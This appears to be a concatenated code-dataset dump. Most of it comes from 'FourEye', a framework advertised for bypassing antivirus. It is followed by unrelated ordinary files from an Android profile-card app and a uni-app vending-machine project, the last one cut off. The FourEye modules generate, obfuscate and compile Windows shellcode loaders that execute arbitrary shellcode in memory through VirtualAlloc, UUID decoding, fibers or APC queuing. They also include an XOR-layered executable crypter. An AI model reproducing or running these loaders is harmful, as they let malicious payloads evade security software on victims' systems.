os.system('i686-w64-mingw32-gcc ' + '-m32 ' + '/root/shellcode.c' + ' -o ' + '/root/shellcode.exe' + " --static" + " -w")
os.system('rm -rf '+ '/root/shellcode.c')
print(colored("[+]shellcode compoile at /root/shellcode.exe\n","cyan"))
except:
print(colored("[-]error\n","cyan"))
def x86_uuid_execute():
try:
os.system('x86_64-w64-mingw32-gcc ' + '-m32 ' + '/root/shellcode.c' + ' -o ' + '/root/shellcode.exe' + " --static" + " -w" + " -lrpcrt4")
os.system('rm -rf '+ '/root/shellcode.c')
print(colored("[+]shellcode compoile at /root/shellcode.exe\n","cyan"))
except:
print(colored("[-]error\n","cyan"))
def x64_uuid_execute():
try:
os.system('x86_64-w64-mingw32-gcc ' + '/root/shellcode.c' + ' -o ' + '/root/shellcode.exe' + " -lrpcrt4" + " --static" + " -w")
os.system('rm -rf '+ '/root/shellcode.c')
print(colored("[+]shellcode compoile at /root/shellcode.exe\n","cyan"))
except:
print(colored("[-]error\n","cyan"))
def banner():
version = '\33[43m V1.8 Beta \033[0m'
Yellow = '\33[33m'
OKGREEN = '\033[92m'
CRED = '\033[91m'
ENDC = '\033[0m'
title = '''
{0}
______ ___
(_) | / (_)
_|_ __ ,_ \__ _
/ | |/ \_| | / | / | | |/
(_/ \__/ \_/|_/ |_/\___/ \_/|/|__/
/|
\|
{1}
{3}v1.8 stable !{1}
{2} FourEye BypassFrameWork | BypassAV your shellcode && exe {1}
'''
print((title.format(CRED, ENDC, OKGREEN, Yellow)))
|
2301_82206160/FourEye
|
core/functions.py
|
Python
|
apache-2.0
| 4,200
|
#!/usr/bin/python
import sys
import os
from termcolor import colored
def imageSehllcode():
shellcode_add = input("\033[4mPlease input Shellcode:\033[0m" + colored(" >>", "green"))
os.system('mv ' + shellcode_add + ' /root/shell.png')
load = '''
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
int main(){
FreeConsole();
FILE* fp;
size_t size;
unsigned char* buffer;
fp = fopen("shell.png","rb");
fseek(fp,0,SEEK_END);
size = ftell(fp);
fseek(fp,0,SEEK_SET);
buffer = (unsigned char*)malloc(size);
fread(buffer,size,1,fp);
void *exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, size);
((void(*)())exec)();
return 0;
}
'''
with open('/root/shellcode.cpp', 'w+') as f:
f.write(load)
|
2301_82206160/FourEye
|
module/Separation/imageShell.py
|
Python
|
apache-2.0
| 1,027
|
#!/usr/bin/python
import sys
import os
from termcolor import colored
from uuid import UUID
def UUIDSehllcode():
shellcode_add = input("\033[4mPlease input Shellcode:\033[0m" + colored(" >>", "green"))
offset = 0
with open(shellcode_add, "rb") as f:
bin = f.read()
out = ""
while (offset < len(bin)):
countOfBytesToConvert = len(bin[offset:])
if countOfBytesToConvert < 16:
ZerosToAdd = 16 - countOfBytesToConvert
byteString = bin[offset:] + (b'\x00' * ZerosToAdd)
uuid = UUID(bytes_le=byteString)
else:
byteString = bin[offset:offset + 16]
uuid = UUID(bytes_le=byteString)
offset += 16
out += "\"{}\",\n".format(uuid)
load = '''
#include <windows.h>
#include <rpc.h>
#include <stdio.h>
const char* uuids[] ;
int main()
{
FreeConsole();
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, 0x100000);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
printf("UuidFromStringA() != S_OK");
CloseHandle(ha);
return -1;
}
hptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
return 0;
}
'''
shellcodes = "uuids[] = {" + out + "}"
loads = load.replace('uuids[]', shellcodes, 1)
with open('/root/shellcode.c', 'w+') as f:
f.write(loads)
|
2301_82206160/FourEye
|
module/UUID/UUID_bypass.py
|
Python
|
apache-2.0
| 1,682
|
import sys
from module.darkexe.lib import compile
from module.darkexe.lib import auxiliary
from module.darkexe.lib import encryption
from termcolor import colored
class Darkexe(object):
def __init__(self):
super(Darkexe, self).__init__()
self.enc_algos = ["xor"]
self.compile_binary = compile.Binary()
def _do_encrypt(self):
print(f"[i] Begining encryption via {self.crypt_type.upper()}")
keys_used = {}
for loop in range(self.loops):
if self.crypt_type == "xor":
crypt = encryption.XOR()
if loop == 0:
bytes, len, key = crypt.crypt_file(True, crypt.key, infile=self.in_file)
else:
bytes, len, key = crypt.crypt_file(True, crypt.key, infile=None, data=bytes, data_length=len)
keys_used[str(loop)] = key
if loop != self.loops - 1:
bytes = auxiliary.clean_hex_output(bytes)
return bytes, len, keys_used
def _do_jmp(self):
bytes, length, keys_used = self._do_encrypt()
keys = []
for i in keys_used: keys.append(hex(int(i)))
pe_image = auxiliary.prepare_pe_image(length, bytes)
auxiliary.write_pe_image(pe_image)
auxiliary.write_header_file(keys_used, jmp=True)
file_clean = auxiliary.write_decrypt("./module/darkexe/src/jmp_loader/main.c", self.loops)
self.compile_binary.compile("./module/darkexe/src/jmp_loader/main.c", self.out_file)
auxiliary.clean_up("./module/darkexe/src/jmp_loader/main.c", file_clean)
print(f"[+] Wrote {auxiliary.get_size('/root/' + self.out_file)} bytes to /root/{self.out_file}")
def _parse_args(self, args):
self.jmp = True
self.in_file = args
self.crypt_type = 'xor'
self.loops = 5
self.out_file = auxiliary.gen_rand_filename() + ".exe"
def _do_crypt(self):
print(f"[i] Started armouring {self.in_file} ({auxiliary.get_size(self.in_file)} bytes)")
if self.jmp:
self._do_jmp()
def run(self, args):
file_add = args
self._parse_args(args=file_add)
self._do_crypt()
|
2301_82206160/FourEye
|
module/darkexe/darkexe.py
|
Python
|
apache-2.0
| 2,184
|
import string
import random
import os
def gen_rand_filename():
name = ""
for i in range(1, 10):
name += random.choice(list(string.ascii_uppercase + string.ascii_lowercase))
return name
def get_size(filename):
with open(filename, "rb") as file:
length = len(file.read())
return length
def clean_hex_output(hex_bytes):
raw_crypt_bytes = b""
for byte in hex_bytes.split():
byte = byte.replace("0x", '')
byte = byte.replace(",", '')
if len(byte) == 1:
byte = f"0{byte}"
try:
raw_crypt_bytes += bytes.fromhex(byte).encode('utf-8')
except AttributeError:
raw_crypt_bytes += bytes.fromhex(byte)
return raw_crypt_bytes
def prepare_pe_image(bytes_len, hex_bytes):
pe_image = f"#define array_len {bytes_len}\n\n"
pe_image += "unsigned long long image_crypt[] = {\n"
pe_image += hex_bytes
pe_image += "\n};"
return pe_image
def write_pe_image(pe_image):
with open("./module/darkexe/build/pe_image.h", "w") as file:
file.write(pe_image)
def write_header_file(keys_used, jmp=False, runpe=False):
headerfile = ""
with open("./module/darkexe/build/main.h", "w") as file:
for key in keys_used:
headerfile += f"#define key{key} {hex(keys_used[key])}\n"
if jmp is True:
headerfile += "\nVOID FixImageIAT(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header);\n"
headerfile += "LPVOID MapImageToMemory(LPVOID base_addr);\n"
if runpe is True:
headerfile += "void RunFromMemory(char* pImage, char* pPath);\n"
file.write(headerfile)
def write_decrypt(path, loops, enc_type="xor"):
first_run = False
to_write = ""
if enc_type == "xor":
while loops != 0:
loops -= 1
if first_run is False:
first_run = True
first_decrypt = """
for (i = 0; i < array_len; i++) {
decrypted_bytes[i] = key%s ^ image_crypt[i];
image_crypt[i] = '\\0';
}
""" % loops
to_write += first_decrypt
else:
decrypt = """
for (i = 0; i < array_len; i++) {
decrypted_bytes[i] = key%s ^ decrypted_bytes[i];
}\n
""" % loops
to_write += decrypt
with open(path, "r") as file:
data = file.readlines()
file.close()
data_backup = data
safe = ''.join(data_backup)
data.insert(129, to_write)
outdata = ''.join(data)
with open(path, "w") as file:
file.write(outdata)
file.close()
return safe
def clean_up(path, clean):
with open(path, "w") as file:
file.write(clean)
file.close()
return
|
2301_82206160/FourEye
|
module/darkexe/lib/auxiliary.py
|
Python
|
apache-2.0
| 2,741
|
"""
Compile the stuffz
"""
import os
class Binary(object):
def __init__(self):
super(Binary, self).__init__()
def compile(self, path, outfile):
os.system(f"x86_64-w64-mingw32-gcc {path} -o /root/{outfile} -static")
return
|
2301_82206160/FourEye
|
module/darkexe/lib/compile.py
|
Python
|
apache-2.0
| 257
|
"""
The aim with these classes is not to provide 100% cryptologically
secure encryption but to provide obsification through encryption.
"""
import random
class XOR(object):
def __init__(self):
super(XOR, self).__init__()
self.gen_key()
def gen_key(self):
self.key = random.randint(10, 100)
def crypt_file(self, crypt, key, infile=None, data=None, data_length=None):
bytes = ""
if (infile != None) and (data == None):
with open(infile, "rb") as file:
data = file.read()
data_len = len(data)
else:
data_len = data_length
iter = 0
for num, byte in enumerate(data):
byte = hex(byte)
if crypt:
byte = hex(int(byte, 16) ^ key)
else:
if len(str(byte)) == 3:
byte = str(byte).replace("0x", '')
byte = f"0x0{byte}"
iter += 1
if num == data_len - 1:
bytes += f"{str(byte)}"
return bytes, data_len, key
if iter == 16:
bytes += f"{str(byte)},\n"
iter = 0
continue
bytes += f"{str(byte)}, "
|
2301_82206160/FourEye
|
module/darkexe/lib/encryption.py
|
Python
|
apache-2.0
| 1,250
|
#!/usr/bin/python
import sys
import os
from termcolor import colored
def rot_compailed(shellcode_size, shellcode):
load = '''
#include <windows.h>
int main()
{
FreeConsole();
PVOID mainFiber = ConvertThreadToFiber(NULL);
unsigned char shellcode[] ;
for (int i = 0; i < sizeof shellcode; i++)
{
shellcode[i] = shellcode[i] - 7;
}
PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeLocation, shellcode, sizeof shellcode);
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL);
SwitchToFiber(shellcodeFiber);
return 0;
}
'''
loads = load.replace('shellcode[]', shellcode, 1)
with open('/root/shellcode.cpp', 'w+') as f:
f.write(loads)
def xor_compailed(shellcode_size, shellcode):
load = '''
#include <windows.h>
int main()
{
FreeConsole();
PVOID mainFiber = ConvertThreadToFiber(NULL);
unsigned char shellcode[] ;
for (int i = 0; i < sizeof shellcode; i++)
{
shellcode[i] = shellcode[i] ^ 0x1C ^ 0x5D;
}
PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeLocation, shellcode, sizeof shellcode);
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL);
SwitchToFiber(shellcodeFiber);
return 0;
}
'''
loads = load.replace('shellcode[]', shellcode, 1)
with open('/root/shellcode.cpp', 'w+') as f:
f.write(loads)
def Fiber_rot_13():
shellcode_add = input("\033[4mPlease input Shellcode:\033[0m" + colored(" >>", "green"))
shellcode = ''
shellcode_size = 0
try:
with open(shellcode_add, 'rb') as f:
while True:
code = f.read(1)
if not code:
break
base10 = ord(code) + 0x07
code_hex = hex(base10)
code_hex = code_hex.replace('0x', '')
if (len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += r'\x' + code_hex
shellcode_size += 1
f.close()
except Exception as e:
sys.stderr.writelines(str(e))
shellcodes = "shellcode[] = \"" + shellcode + "\""
rot_compailed(shellcode_size, shellcodes)
def Fiber_xor_13():
shellcode_add = input("\033[4mPlease input Shellcode:\033[0m" + colored(" >>", "green"))
shellcode = ''
new_shellcode = ''
shellcode_size = 0
try:
with open(shellcode_add, 'rb') as f:
while True:
code = f.read(1)
if not code:
break
base10 = ord(code) ^ 0x5D ^ 0x1C
code_hex = hex(base10)
code_hex = code_hex.replace('0x', '')
if (len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += r'\x' + code_hex
shellcode_size += 1
f.close()
except Exception as e:
sys.stderr.writelines(str(e))
shellcodes = "shellcode[] = \"" + shellcode + "\""
xor_compailed(shellcode_size, shellcodes)
|
2301_82206160/FourEye
|
module/memory/CreateFiber.py
|
Python
|
apache-2.0
| 3,501
|
#!/usr/bin/python
import sys
import os
from termcolor import colored
def rot_compailed(shellcode_size, shellcode):
load = '''
#include <stdio.h>
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
FreeConsole();
char default_shell[] ;
char* shellcode;
int shellcode_size = 0;
for (int i = 0; i < sizeof default_shell; i++)
{
default_shell[i] = default_shell[i] - 9;
}
shellcode = default_shell;
shellcode_size = sizeof(default_shell);
char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','E','x','\0'});
char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'});
HANDLE hthread = OpenThread(16, 0, GetCurrentThreadId());
FARPROC Allocate = GetProcAddress(GetModuleHandle(testString4), testString3);
char* buffer = (char*)Allocate(GetCurrentProcess(), 0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(buffer, shellcode, shellcode_size);
QueueUserAPC((PAPCFUNC)buffer, hthread, (ULONG_PTR)buffer);
SleepEx(5, 3);
}
'''
loads = load.replace('default_shell[]', shellcode, 1)
with open('/root/shellcode.c', 'w+') as f:
f.write(loads)
def xor_compailed(shellcode_size, shellcode):
load = '''
#include <stdio.h>
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
FreeConsole();
char default_shell[] ;
char* shellcode;
int shellcode_size = 0;
for (int i = 0; i < sizeof default_shell; i++)
{
default_shell[i] = default_shell[i] ^ 0x0F ^ 0x05 ^ 0x0D ^ 0x02;
}
shellcode = default_shell;
shellcode_size = sizeof(default_shell);
char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','E','x','\0'});
char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'});
HANDLE hthread = OpenThread(16, 0, GetCurrentThreadId());
FARPROC Allocate = GetProcAddress(GetModuleHandle(testString4), testString3);
char* buffer = (char*)Allocate(GetCurrentProcess(), 0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(buffer, shellcode, shellcode_size);
QueueUserAPC((PAPCFUNC)buffer, hthread, (ULONG_PTR)buffer);
SleepEx(5, 3);
}
'''
loads = load.replace('default_shell[]', shellcode, 1)
with open('/root/shellcode.c', 'w+') as f:
f.write(loads)
def Queue_rot_13():
shellcode_add = input("\033[4mPlease input Shellcode:\033[0m" + colored(" >>", "green"))
shellcode = ''
shellcode_size = 0
try:
with open(shellcode_add, 'rb') as f:
while True:
code = f.read(1)
if not code:
break
base10 = ord(code) + 0x09
code_hex = hex(base10)
code_hex = code_hex.replace('0x', '')
if (len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += r'\x' + code_hex
shellcode_size += 1
f.close()
except Exception as e:
sys.stderr.writelines(str(e))
shellcodes = "default_shell[] = \"" + shellcode + "\""
rot_compailed(shellcode_size, shellcodes)
def Queue_xor_13():
shellcode_add = input("\033[4mPlease input Shellcode:\033[0m" + colored(" >>", "green"))
shellcode = ''
shellcode_size = 0
try:
with open(shellcode_add, 'rb') as f:
while True:
code = f.read(1)
if not code:
break
base10 = ord(code) ^ 0x02 ^ 0x0D ^ 0x05 ^ 0x0F
code_hex = hex(base10)
code_hex = code_hex.replace('0x', '')
if (len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += r'\x' + code_hex
shellcode_size += 1
f.close()
except Exception as e:
sys.stderr.writelines(str(e))
shellcodes = "default_shell[] = \"" + shellcode + "\""
xor_compailed(shellcode_size, shellcodes)
|
2301_82206160/FourEye
|
module/memory/QueueUserAPC.py
|
Python
|
apache-2.0
| 4,644
|
#!/bin/bash
# Version 0.1
#===============================================================================
# 本脚本用于自动安装 FourEye（重明）依赖程序，包括Linux系统依赖和Python依赖
# 使用方式(建议使用root用户运行)：
# +------------------------------+
# | chmod 755 setup.sh |
# | ./setup.sh |
# +------------------------------+
# 若有使用问题联系: https://github.com/lengjibo/FourEye/issues
# 最后祝好运
echo "
______ ___
(_) | / (_)
_|_ __ ,_ \__ _
/ | |/ \_| | / | / | | |/
(_/ \__/ \_/|_/ |_/\___/ \_/|/|__/
/|
\| "
if ping -c 1 -w 2 mirrors.ustc.edu.cn &>/dev/null; then
echo "[+] 测试网络可用"
else
echo "[-] 测试网络不可用，请检查网络设置"
exit
fi
# 判断Python依赖
python_requirements=`pip3 freeze`
str="termcolor"
if [[ $python_requirements =~ $str ]];then
echo "[+] Python依赖存在"
echo "[*] 开始检查Linux系统依赖程序"
else
echo "[-] 未找到Python依赖"
echo "[*] 开始安装Python依赖"
which "pip3" &>/dev/null
if [ $? -eq 0 ]
then
pip3 install -r requirements.txt
else
echo "[-] 未找到可用的pip3, 请使用一下命令手动安装: "
echo "--> apt-get install python3-termcolor"
echo "or"
echo "--> pip3 install termcolor"
fi
fi
# 判断mingw-w64依赖
m="mingw-w64"
SYSTEM=`cat /etc/issue.net | awk '{print $1}'`
case $SYSTEM in
Debian) echo "[+] 检测系统是$SYSTEM, 使用apt-get安装"
min=`dpkg --list | grep mingw-w64`
if [[ $min =~ $m ]];then
echo "[+] 检测到已经安装了mingw-w64"
python3 BypassFramework.py
exit
else
sudo apt-get install mingw-w64
echo "[+] 系统依赖安装完成"
python3 BypassFramework.py
exit
fi
;;
Kali) echo "[+] 检测系统是$SYSTEM, 使用apt-get安装"
min=`dpkg --list | grep mingw-w64`
if [[ $min =~ $m ]];then
echo "[+] 检测到已经安装了mingw-w64"
python3 BypassFramework.py
exit
else
sudo apt-get install mingw-w64
echo "[+] 系统依赖安装完成"
python3 BypassFramework.py
exit
fi
;;
*)
;;
esac
SYS=`cat /etc/redhat-release | awk '{print $1}'`
case $SYS in
CentOS) echo "[+] 检测系统是$SYS, 使用yum安装"
if [[ $min =~ $m ]];then
echo "[+] 检测到已经安装了mingw-w64"
python3 BypassFramework.py
else
sudo yum install mingw64-gcc
python3 BypassFramework.py
exit
fi
;;
*) echo "[-] 脚本不适用于该系统"
exit
;;
esac
|
2301_82206160/FourEye
|
setup.sh
|
Shell
|
apache-2.0
| 2,947
|
package com.example.card
import androidx.test.platform.app.InstrumentationRegistry
import androidx.test.ext.junit.runners.AndroidJUnit4
import org.junit.Test
import org.junit.runner.RunWith
import org.junit.Assert.*
/**
* Instrumented test, which will execute on an Android device.
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
@RunWith(AndroidJUnit4::class)
class ExampleInstrumentedTest {
@Test
fun useAppContext() {
// Context of the app under test.
val appContext = InstrumentationRegistry.getInstrumentation().targetContext
assertEquals("com.example.card", appContext.packageName)
}
}
|
2301_82325581/exp3
|
Card/app/src/androidTest/java/com/example/card/ExampleInstrumentedTest.kt
|
Kotlin
|
unknown
| 659
|
package com.example.card
import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.activity.enableEdgeToEdge
import androidx.compose.foundation.Image
import androidx.compose.foundation.background
import androidx.compose.foundation.clickable
import androidx.compose.foundation.layout.Arrangement
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.Row
import androidx.compose.foundation.layout.Spacer
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.foundation.layout.fillMaxWidth
import androidx.compose.foundation.layout.height
import androidx.compose.foundation.layout.padding
import androidx.compose.foundation.layout.size
import androidx.compose.foundation.shape.CircleShape
import androidx.compose.foundation.shape.RoundedCornerShape
import androidx.compose.material3.Card
import androidx.compose.material3.CardDefaults
import androidx.compose.material3.Divider
import androidx.compose.material3.Icon
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.Scaffold
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.draw.clip
import androidx.compose.ui.layout.ContentScale
import androidx.compose.ui.res.painterResource
import androidx.compose.ui.text.font.FontWeight
import androidx.compose.ui.text.style.TextAlign
import androidx.compose.ui.tooling.preview.Preview
import androidx.compose.ui.unit.dp
import androidx.compose.ui.unit.sp
import com.example.card.ui.theme.CardTheme
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
enableEdgeToEdge()
setContent {
CardTheme {
Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
Greeting(
name = "Android",
modifier = Modifier.padding(innerPadding)
)
}
}
}
}
}
@Composable
fun Greeting(name: String, modifier: Modifier = Modifier) {
val img = painterResource(R.drawable.ic_launcher_background)
val primaryColor = MaterialTheme.colorScheme.primary
val secondaryColor = MaterialTheme.colorScheme.secondary
val onPrimaryColor = MaterialTheme.colorScheme.onPrimary
Column(
verticalArrangement = Arrangement.Top,
horizontalAlignment = Alignment.CenterHorizontally,
modifier = modifier
.fillMaxSize()
.background(MaterialTheme.colorScheme.background)
.padding(16.dp)
) {
// 顶部空白区域
Spacer(modifier = Modifier.height(80.dp))
// 主内容卡片
Card(
modifier = Modifier
.fillMaxWidth()
.weight(1f),
elevation = CardDefaults.cardElevation(defaultElevation = 8.dp),
shape = RoundedCornerShape(16.dp),
colors = CardDefaults.cardColors(containerColor = MaterialTheme.colorScheme.surface)
) {
Column(
verticalArrangement = Arrangement.Center,
horizontalAlignment = Alignment.CenterHorizontally,
modifier = Modifier
.fillMaxSize()
.padding(24.dp)
) {
// 主图片
Image(
painter = img,
contentDescription = "Profile image",
contentScale = ContentScale.Fit,
alpha = 0.9F,
modifier = Modifier
.size(120.dp)
.clip(CircleShape)
.background(secondaryColor.copy(alpha = 0.2f))
.padding(16.dp)
.clickable { /* 点击事件 */ }
)
// 问候文本
Text(
text = "Hello $name!",
textAlign = TextAlign.Center,
fontSize = 32.sp,
fontWeight = FontWeight.Bold,
color = MaterialTheme.colorScheme.onSurface,
modifier = Modifier.padding(vertical = 16.dp)
)
// 标题文本
Text(
text = "Welcome to Our App",
fontSize = 20.sp,
color = MaterialTheme.colorScheme.onSurfaceVariant,
modifier = Modifier.padding(bottom = 24.dp)
)
// 分隔线
Divider(
modifier = Modifier
.fillMaxWidth(0.8f)
.padding(vertical = 8.dp),
color = MaterialTheme.colorScheme.outlineVariant
)
}
}
// 联系信息区域
Column(
verticalArrangement = Arrangement.Center,
horizontalAlignment = Alignment.CenterHorizontally,
modifier = Modifier
.fillMaxWidth()
.weight(0.8f)
.padding(top = 16.dp)
) {
Text(
text = "Contact Us",
fontSize = 20.sp,
fontWeight = FontWeight.SemiBold,
color = MaterialTheme.colorScheme.onSurface,
modifier = Modifier.padding(bottom = 16.dp)
)
// 联系项列表
listOf("+123 456 7890", "@AndroidDev", "jen.doe@android.com").forEach { phone ->
Row(
horizontalArrangement = Arrangement.Center,
verticalAlignment = Alignment.CenterVertically,
modifier = Modifier
.fillMaxWidth(0.8f)
.padding(vertical = 8.dp)
.background(
color = primaryColor.copy(alpha = 0.1f),
shape = RoundedCornerShape(8.dp)
)
.padding(12.dp)
.clickable { /* 点击拨号 */ }
) {
Icon(
painter = img,
contentDescription = "Phone icon",
tint = primaryColor,
modifier = Modifier
.size(24.dp)
.padding(end = 12.dp)
)
Text(
text = phone,
textAlign = TextAlign.Center,
fontSize = 18.sp,
color = MaterialTheme.colorScheme.onSurface
)
}
}
}
// 底部空白
Spacer(modifier = Modifier.height(32.dp))
}
}
@Preview(showBackground = true)
@Composable
fun GreetingPreview() {
CardTheme {
Greeting("Android")
}
}
|
2301_82325581/exp3
|
Card/app/src/main/java/com/example/card/MainActivity.kt
|
Kotlin
|
unknown
| 7,142
|
package com.example.card.ui.theme
import androidx.compose.ui.graphics.Color
val Purple80 = Color(0xFFD0BCFF)
val PurpleGrey80 = Color(0xFFCCC2DC)
val Pink80 = Color(0xFFEFB8C8)
val Purple40 = Color(0xFF6650a4)
val PurpleGrey40 = Color(0xFF625b71)
val Pink40 = Color(0xFF7D5260)
|
2301_82325581/exp3
|
Card/app/src/main/java/com/example/card/ui/theme/Color.kt
|
Kotlin
|
unknown
| 280
|
package com.example.card.ui.theme
import android.app.Activity
import android.os.Build
import androidx.compose.foundation.isSystemInDarkTheme
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.darkColorScheme
import androidx.compose.material3.dynamicDarkColorScheme
import androidx.compose.material3.dynamicLightColorScheme
import androidx.compose.material3.lightColorScheme
import androidx.compose.runtime.Composable
import androidx.compose.ui.platform.LocalContext
private val DarkColorScheme = darkColorScheme(
primary = Purple80,
secondary = PurpleGrey80,
tertiary = Pink80
)
private val LightColorScheme = lightColorScheme(
primary = Purple40,
secondary = PurpleGrey40,
tertiary = Pink40
/* Other default colors to override
background = Color(0xFFFFFBFE),
surface = Color(0xFFFFFBFE),
onPrimary = Color.White,
onSecondary = Color.White,
onTertiary = Color.White,
onBackground = Color(0xFF1C1B1F),
onSurface = Color(0xFF1C1B1F),
*/
)
@Composable
fun CardTheme(
darkTheme: Boolean = isSystemInDarkTheme(),
// Dynamic color is available on Android 12+
dynamicColor: Boolean = true,
content: @Composable () -> Unit
) {
val colorScheme = when {
dynamicColor && Build.VERSION.SDK_INT >= Build.VERSION_CODES.S -> {
val context = LocalContext.current
if (darkTheme) dynamicDarkColorScheme(context) else dynamicLightColorScheme(context)
}
darkTheme -> DarkColorScheme
else -> LightColorScheme
}
MaterialTheme(
colorScheme = colorScheme,
typography = Typography,
content = content
)
}
|
2301_82325581/exp3
|
Card/app/src/main/java/com/example/card/ui/theme/Theme.kt
|
Kotlin
|
unknown
| 1,688
|
package com.example.card.ui.theme
import androidx.compose.material3.Typography
import androidx.compose.ui.text.TextStyle
import androidx.compose.ui.text.font.FontFamily
import androidx.compose.ui.text.font.FontWeight
import androidx.compose.ui.unit.sp
// Set of Material typography styles to start with
val Typography = Typography(
bodyLarge = TextStyle(
fontFamily = FontFamily.Default,
fontWeight = FontWeight.Normal,
fontSize = 16.sp,
lineHeight = 24.sp,
letterSpacing = 0.5.sp
)
/* Other default text styles to override
titleLarge = TextStyle(
fontFamily = FontFamily.Default,
fontWeight = FontWeight.Normal,
fontSize = 22.sp,
lineHeight = 28.sp,
letterSpacing = 0.sp
),
labelSmall = TextStyle(
fontFamily = FontFamily.Default,
fontWeight = FontWeight.Medium,
fontSize = 11.sp,
lineHeight = 16.sp,
letterSpacing = 0.5.sp
)
*/
)
|
2301_82325581/exp3
|
Card/app/src/main/java/com/example/card/ui/theme/Type.kt
|
Kotlin
|
unknown
| 985
|
package com.example.card
import org.junit.Test
import org.junit.Assert.*
/**
* Example local unit test, which will execute on the development machine (host).
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
class ExampleUnitTest {
@Test
fun addition_isCorrect() {
assertEquals(4, 2 + 2)
}
}
|
2301_82325581/exp3
|
Card/app/src/test/java/com/example/card/ExampleUnitTest.kt
|
Kotlin
|
unknown
| 340
|
<script>
export default {
onLaunch: function() {
console.log('App Launch')
},
onShow: function() {
console.log('App Show')
},
onHide: function() {
console.log('App Hide')
}
}
</script>
<style>
/*每个页面公共css */
</style>
|
2301_82115348/VendingMachine_1028
|
App.vue
|
Vue
|
unknown
| 254
|
function formatMsg(tag, msg){
const time = new Date().toLocaleTimeString();
return `${tag}${time}${msg}`;
}
export default{
info(tag, msg){
console.log(`[INFO] ${formatMsg(tag,msg)}`);
},
error(tag,msg){
console.error(`[ERROR] ${formatMsg(tag,msg)}`);
}
}
|
2301_82115348/VendingMachine_1028
|
components/log/log.js
|
JavaScript
|
unknown
| 268
|
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<script>
var coverSupport = 'CSS' in window && typeof CSS.supports === 'function' && (CSS.supports('top: env(a)') ||
CSS.supports('top: constant(a)'))
document.write(
'<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0' +
(coverSupport ? ', viewport-fit=cover' : '') + '" />')
</script>
<title></title>
<!--preload-links-->
<!--app-context-->
</head>
<body>
<div id="app"><!--app-html--></div>
<script type="module" src="/main.js"></script>
</body>
</html>
|
2301_82115348/VendingMachine_1028
|
index.html
|
HTML
|
unknown
| 675
|
import App from './App'
// #ifndef VUE3
import Vue from 'vue'
import './uni.promisify.adaptor'
Vue.config.productionTip = false
App.mpType = 'app'
const app = new Vue({
...App
})
app.$mount()
// #endif
// #ifdef VUE3
import { createSSRApp } from 'vue'
import log from "./components/log/log.js"
import constant from './models/constant'
export function createApp() {
const app = createSSRApp(App)
app.config.globalProperties.$log = log
app.config.globalProperties.constant = constant
return {
app
}
}
// #endif
|
2301_82115348/VendingMachine_1028
|
main.js
|
JavaScript
|
unknown
| 527
|
export default {
BASE_URL: "https://vending.neumooc.com/prod-api",
MACHINE_NO: "49f4b29ccfcb4207a35e73327f7cb0b2",
}
|
2301_82115348/VendingMachine_1028
|
models/constant.js
|
JavaScript
|
unknown
| 118
|
export default class Product {
constructor(id, name, price, imageUrl, stock) {
this.id = id;
this.name = name;
this.price = price;
this.imageUrl = imageUrl;
this.stock = stock;
}
static parseFromJsonString(jsonString) {
let jsonObject = JSON.parse(jsonString);
return new Product(
jsonObject.id,
jsonObject.name,
jsonObject.price,
jsonObject.imageUrl,
jsonObject.stock
);
}
}
|
2301_82115348/VendingMachine_1028
|
models/product.js
|
JavaScript
|
unknown
| 436
|
<template>
<view class="content">
<image class="logo" src="/static/logo.png"></image>
<view class="text-area">
<text class="title">{{title}}</text>
</view>
</view>
</template>
<script>
export default {
data() {
return {
title: 'Hello'
}
},
onLoad() {
},
methods: {
}
}
</script>
<style>
.content {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.logo {
height: 200rpx;
width: 200rpx;
margin-top: 200rpx;
margin-left: auto;
margin-right: auto;
margin-bottom: 50rpx;
}
